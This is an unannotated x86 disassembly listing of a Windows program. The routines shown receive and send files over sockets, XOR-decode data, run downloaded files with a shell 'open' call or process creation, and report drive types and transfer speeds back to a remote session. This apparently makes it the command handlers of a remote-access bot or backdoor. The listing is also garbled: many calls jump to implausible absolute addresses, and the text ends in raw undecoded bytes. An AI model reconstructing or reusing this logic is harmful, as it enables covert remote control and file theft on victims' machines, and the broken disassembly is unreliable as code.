lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41B9C0
cmp [ebp+8], eax
pop ecx
jbe short loc_41627F
push ebx
push edi
call dword_4CB9FC
test eax, eax
jz short loc_4162C8
push offset unk_437FEC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162C8: ; CODE XREF: ___:004162BCj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
nop
call near ptr 27107C1h
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4162F2
push offset unk_4380A8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162F2: ; CODE XREF: ___:004162E6j
push esi
push eax
nop
call near ptr 2740AF5h
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14
push eax
call dword_4CB9D0
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_438090
push eax
call sub_41C266
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409869
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4CB9BC
test eax, eax
jg short loc_4163A2
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_438078
push eax
push dword ptr [ebp-1FCh]
call sub_409869
jmp loc_4164C6
; ---------------------------------------------------------------------------
loc_4163A2: ; CODE XREF: ___:00416380j
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4CBA68
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_4163DB
push offset unk_438054
loc_4163C8: ; CODE XREF: ___:0041620Aj
; ___:00416248j ...
lea eax, [ebp-3FCh]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4164C9
; ---------------------------------------------------------------------------
loc_4163DB: ; CODE XREF: ___:004163C1j
push edi
call dword_4CBA6C
cmp [ebp+8], esi
jz loc_41648D
mov edi, 400h
loc_4163F0: ; CODE XREF: ___:00416484j
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_4163FD
mov [ebp-4], eax
loc_4163FD: ; CODE XREF: ___:004163F8j
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_41BF70
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
nop
call near ptr 27711CFh
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
nop
call near ptr 26F107Dh
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4CBA24
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_4CB9EC
cmp eax, ebx
jl loc_416522
mov eax, [ebp-4]
cmp eax, ebx
jl loc_416522
sub [ebp+8], eax
jnz loc_4163F0
mov edi, [ebp-18h]
loc_41648D: ; CODE XREF: ___:004163E5j
push dword ptr [ebp-8]
call near ptr 26608D5h
nop
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416CC9
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4CBA60
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_438028
push eax
call sub_41C266
loc_4164C6: ; CODE XREF: ___:0041639Dj
add esp, 14h
loc_4164C9: ; CODE XREF: ___:004163D6j
cmp [ebp-50h], esi
jnz short loc_4164EE
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409869
add esp, 14h
loc_4164EE: ; CODE XREF: ___:004164CCj
lea eax, [ebp-3FCh]
push eax
call sub_415D38
cmp edi, esi
pop ecx
jbe short loc_416506
push edi
call dword_4CBA6C
loc_416506: ; CODE XREF: ___:004164FDj
push dword ptr [ebp-1F8h]
call dword_4CBA6C
push dword ptr [ebp-58h]
call sub_40B6D6
pop ecx
push esi
nop
call near ptr 26E0000h
loc_416522: ; CODE XREF: ___:00416470j
; ___:0041647Bj
push esi
mov esi, offset dword_438010
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_409869
push esi
call sub_415D38
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4CBA6C
push dword ptr [ebp-58h]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 26E0000h
loc_416563: ; DATA XREF: sub_401ACD+798o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41C500
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
call near ptr 26709F6h
nop
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_429AC8
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
nop
call near ptr 27107C1h
cmp eax, 0FFFFFFFFh
jnz short loc_4165ED
push offset unk_43818C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_4165ED: ; CODE XREF: ___:004165E4j
push eax
nop
call near ptr 26608D5h
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41BEA2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_416615
push offset unk_43815C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_416615: ; CODE XREF: ___:0041660Cj
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_415F7A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_416646
push offset unk_43813C
loc_416633: ; CODE XREF: ___:004165EBj
; ___:00416613j
lea eax, [ebp-4C4h]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_416742
; ---------------------------------------------------------------------------
loc_416646: ; CODE XREF: ___:0041662Cj
mov esi, 1000h
loc_41664B: ; CODE XREF: ___:004166B1j
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB9EC
mov edi, eax
cmp edi, ebx
jz loc_416712
cmp edi, 0FFFFFFFFh
jz short loc_4166B3
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41DB54
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4CB9D0
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4CBA24
jmp short loc_41664B
; ---------------------------------------------------------------------------
loc_4166B3: ; CODE XREF: ___:0041667Bj
lea eax, [ebp-4C4h]
push offset dword_438010
push eax
call sub_41C266
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409869
lea eax, [ebp-4C4h]
push eax
call sub_415D38
push dword ptr [ebp-4]
call sub_41BA3B
add esp, 24h
push dword ptr [ebp+8]
call dword_4CBA6C
push dword ptr [ebp-1Ch]
call sub_40B6D6
pop ecx
push 1
nop
call near ptr 26E0000h
loc_416712: ; CODE XREF: ___:00416672j
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_438110
push eax
call sub_41C266
add esp, 14h
loc_416742: ; CODE XREF: ___:00416641j
cmp [ebp-14h], ebx
jnz short loc_416767
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409869
add esp, 14h
loc_416767: ; CODE XREF: ___:00416745j
lea eax, [ebp-4C4h]
push eax
call sub_415D38
cmp [ebp-4], ebx
pop ecx
jz short loc_416782
push dword ptr [ebp-4]
call sub_41BA3B
pop ecx
loc_416782: ; CODE XREF: ___:00416777j
cmp [ebp+8], ebx
jbe short loc_416790
push dword ptr [ebp+8]
call dword_4CBA6C
loc_416790: ; CODE XREF: ___:00416785j
push dword ptr [ebp-1Ch]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 26E0000h
loc_4167A0: ; DATA XREF: sub_401ACD+619Bo
; sub_401ACD+69D9o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4CB984
call dword_4CB8D8
cmp eax, esi
mov [ebp-18h], eax
jz loc_416C2C
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
nop
call near ptr 27107C1h
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_416867
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_438358
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_41684A
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_41684A: ; CODE XREF: ___:00416828j
lea eax, [ebp-510h]
push eax
call sub_415D38
push dword ptr [ebp-48h]
call sub_40B6D6
pop ecx
pop ecx
push esi
nop
call near ptr 26E0000h
loc_416867: ; CODE XREF: ___:00416808j
xor edi, edi
nop
call near ptr 269083Ah
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41BEB5
pop ecx
mov [ebp-1Ch], eax
loc_416881: ; CODE XREF: ___:00416954j
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4CB8E0
cmp [ebp-34h], esi
jz short loc_4168C5
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_416C92
pop ecx
pop ecx
loc_4168C5: ; CODE XREF: ___:004168B2j
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
nop
call near ptr 2700000h
cmp edi, ebx
jnb short loc_416903
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_4168ED
mov eax, [ebp+8]
loc_4168ED: ; CODE XREF: ___:004168E8j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_41CD20
add esp, 0Ch
loc_416903: ; CODE XREF: ___:004168DFj
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_416910
cmp edi, [ebp-3Ch]
ja short loc_41695A
loc_416910: ; CODE XREF: ___:00416909j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_41692A
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_438330
jmp short loc_41693A
; ---------------------------------------------------------------------------
loc_41692A: ; CODE XREF: ___:00416916j
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_438308
loc_41693A: ; CODE XREF: ___:00416928j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43E710
push eax
call sub_41C266
add esp, 10h
cmp [ebp+8], esi
ja loc_416881
loc_41695A: ; CODE XREF: ___:0041690Ej
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_4169AF
cmp edi, [ebp-3Ch]
jz short loc_4169AF
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_4382DC
push eax
call sub_41C266
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
lea eax, [ebp-510h]
push eax
call sub_415D38
add esp, 28h
loc_4169AF: ; CODE XREF: ___:00416964j
; ___:00416969j
nop
call near ptr 269083Ah
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
nop
call near ptr 26608D5h
push dword ptr [ebp-1Ch]
call sub_41BA91
cmp [ebp-38h], esi
pop ecx
jz short loc_416A39
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_416A39
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_4382B4
push eax
call sub_41C266
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
lea eax, [ebp-510h]
push eax
call sub_415D38
add esp, 28h
loc_416A39: ; CODE XREF: ___:004169E1j
; ___:004169F3j
cmp [ebp-14h], esi
jz loc_416C79
cmp dword ptr [ebp-44h], 1
jz loc_416B34
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_427690
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h] ; DATA XREF: sub_556A70+C5Bo
fmul dbl_427690
fstp qword ptr [esp]
push offset unk_43827C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_416AB4
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_416AB4: ; CODE XREF: ___:00416A92j
lea eax, [ebp-510h]
push eax
call sub_415D38
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_416C79
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB940
cmp [ebp-30h], esi
jnz loc_416C79
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_438260
push eax
call sub_41C266
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
lea eax, [ebp-510h]
push eax
call sub_415D38
add esp, 24h
jmp loc_416C79
; ---------------------------------------------------------------------------
loc_416B34: ; CODE XREF: ___:00416A46j
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_427690
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_427690
fstp qword ptr [esp]
push offset unk_43821C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_416B9C
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_416B9C: ; CODE XREF: ___:00416B7Aj
lea eax, [ebp-510h]
push eax
call sub_415D38
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset byte_43DB88
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
nop
call near ptr 2660B67h
cmp eax, edi
jnz short loc_416C1E
call dword_4CB92C
call sub_4188A6
push esi
call near ptr 77E75CB5h
nop
loc_416C1E: ; CODE XREF: ___:00416C0Aj
lea eax, [ebp-148h]
push eax
push offset unk_4381E8
jmp short loc_416C38
; ---------------------------------------------------------------------------
loc_416C2C: ; CODE XREF: ___:004167E5j
lea eax, [ebp-248h]
push eax
push offset unk_4381BC
loc_416C38: ; CODE XREF: ___:00416C2Aj
lea eax, [ebp-510h]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_416C6C
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_416C6C: ; CODE XREF: ___:00416C4Aj
lea eax, [ebp-510h]
push eax
call sub_415D38
pop ecx
loc_416C79: ; CODE XREF: ___:00416A3Cj
; ___:00416AC5j ...
push dword ptr [ebp-18h]
call dword_4CBA08
push dword ptr [ebp-48h]
call sub_40B6D6
pop ecx
push esi
nop
call near ptr 26E0000h
; =============== S U B R O U T I N E =======================================
sub_416C92 proc near ; CODE XREF: ___:004168BEp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416CAE
loc_416C9E: ; CODE XREF: sub_416C92+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416C9E
locret_416CAE: ; CODE XREF: sub_416C92+Aj
retn
sub_416C92 endp
; =============== S U B R O U T I N E =======================================
sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p
; sub_401ACD+5896p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DC5E
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416CAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CC9 proc near ; CODE XREF: sub_41036B+458p
; sub_41036B+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D35F8
push 0
push edi
call sub_41BF70
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416CEE: ; CODE XREF: sub_416CC9+5Bj
; sub_416CC9+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DD20
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DCB0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416D2C
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416CEE
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416CEE
; ---------------------------------------------------------------------------
loc_416D2C: ; CODE XREF: sub_416CC9+4Bj
dec esi
mov eax, edi
loc_416D2F: ; CODE XREF: sub_416CC9+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416D3E
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416D2F
; ---------------------------------------------------------------------------
loc_416D3E: ; CODE XREF: sub_416CC9+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416CC9 endp
; =============== S U B R O U T I N E =======================================
sub_416D48 proc near ; CODE XREF: sub_416EFD+51p
; sub_416EFD+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA34
sub eax, 0
jz short loc_416D8B
dec eax
jz short loc_416D85
dec eax
dec eax
jz short loc_416D7F
dec eax
jz short loc_416D79
dec eax
jz short loc_416D73
dec eax
jz short loc_416D6D
mov eax, offset word_4383AC
retn
; ---------------------------------------------------------------------------
loc_416D6D: ; CODE XREF: sub_416D48+1Dj
mov eax, offset off_4383A8
retn
; ---------------------------------------------------------------------------
loc_416D73: ; CODE XREF: sub_416D48+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416D79: ; CODE XREF: sub_416D48+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416D7F: ; CODE XREF: sub_416D48+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416D85: ; CODE XREF: sub_416D48+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416D8B: ; CODE XREF: sub_416D48+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D91 proc near ; CODE XREF: sub_416DD9+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB8C4
test eax, eax
jz short loc_416DC6
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_416DC6: ; CODE XREF: sub_416D91+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416D91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p
; sub_41AF8F+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416D91
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C360
add esp, 10h
pop ebx
jmp short loc_416EE9
; ---------------------------------------------------------------------------
loc_416EB7: ; CODE XREF: sub_416DD9+2Cj
; sub_416DD9+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
pop ecx
loc_416EE9: ; CODE XREF: sub_416DD9+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416DD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EFD proc near ; CODE XREF: sub_416FCF+17p
; sub_416FCF+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41CA50
add esp, 10h
test eax, eax
jnz short loc_416F70
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383FC
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_416FA4
; ---------------------------------------------------------------------------
loc_416F70: ; CODE XREF: sub_416EFD+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383C0
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 20h
loc_416FA4: ; CODE XREF: sub_416EFD+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_500]
push eax
call sub_415D38
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416EFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416FF0
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
jmp short loc_417051
; ---------------------------------------------------------------------------
loc_416FF0: ; CODE XREF: sub_416FCF+9j
push esi
push edi
push ebx
push ebx
call dword_4CB93C
lea esi, [eax+2]
push esi
call sub_41BEB5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB93C
cmp [edi], bl
mov esi, edi
jz short loc_417048
loc_417014: ; CODE XREF: sub_416FCF+77j
push offset off_438438
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417037
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
loc_417037: ; CODE XREF: sub_416FCF+54j
push esi
call sub_41B9C0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_417014
loc_417048: ; CODE XREF: sub_416FCF+43j
push edi
call sub_41BA91
pop ecx
pop edi
pop esi
loc_417051: ; CODE XREF: sub_416FCF+1Fj
pop ebx
pop ebp
retn
sub_416FCF endp
; ---------------------------------------------------------------------------
dword_417054 dd 81EC8B55h, 49CECh, 8458B00h, 0B9575653h, 0A7h, 0BD8DF08Bh
; DATA XREF: sub_401ACD+67C1o
dd 0FFFFFD64h, 80C7A5F3h, 298h, 1, 0FEEC858Dh, 0E850FFFFh
dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh, 83FFFF27h
dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh, 0C4830000h
dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h, 83000051h
dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
dd 0E8905359h, 22C8E94h, 555B5E5Fh, 0EC81EC8Bh, 54Ch, 0BE575653h
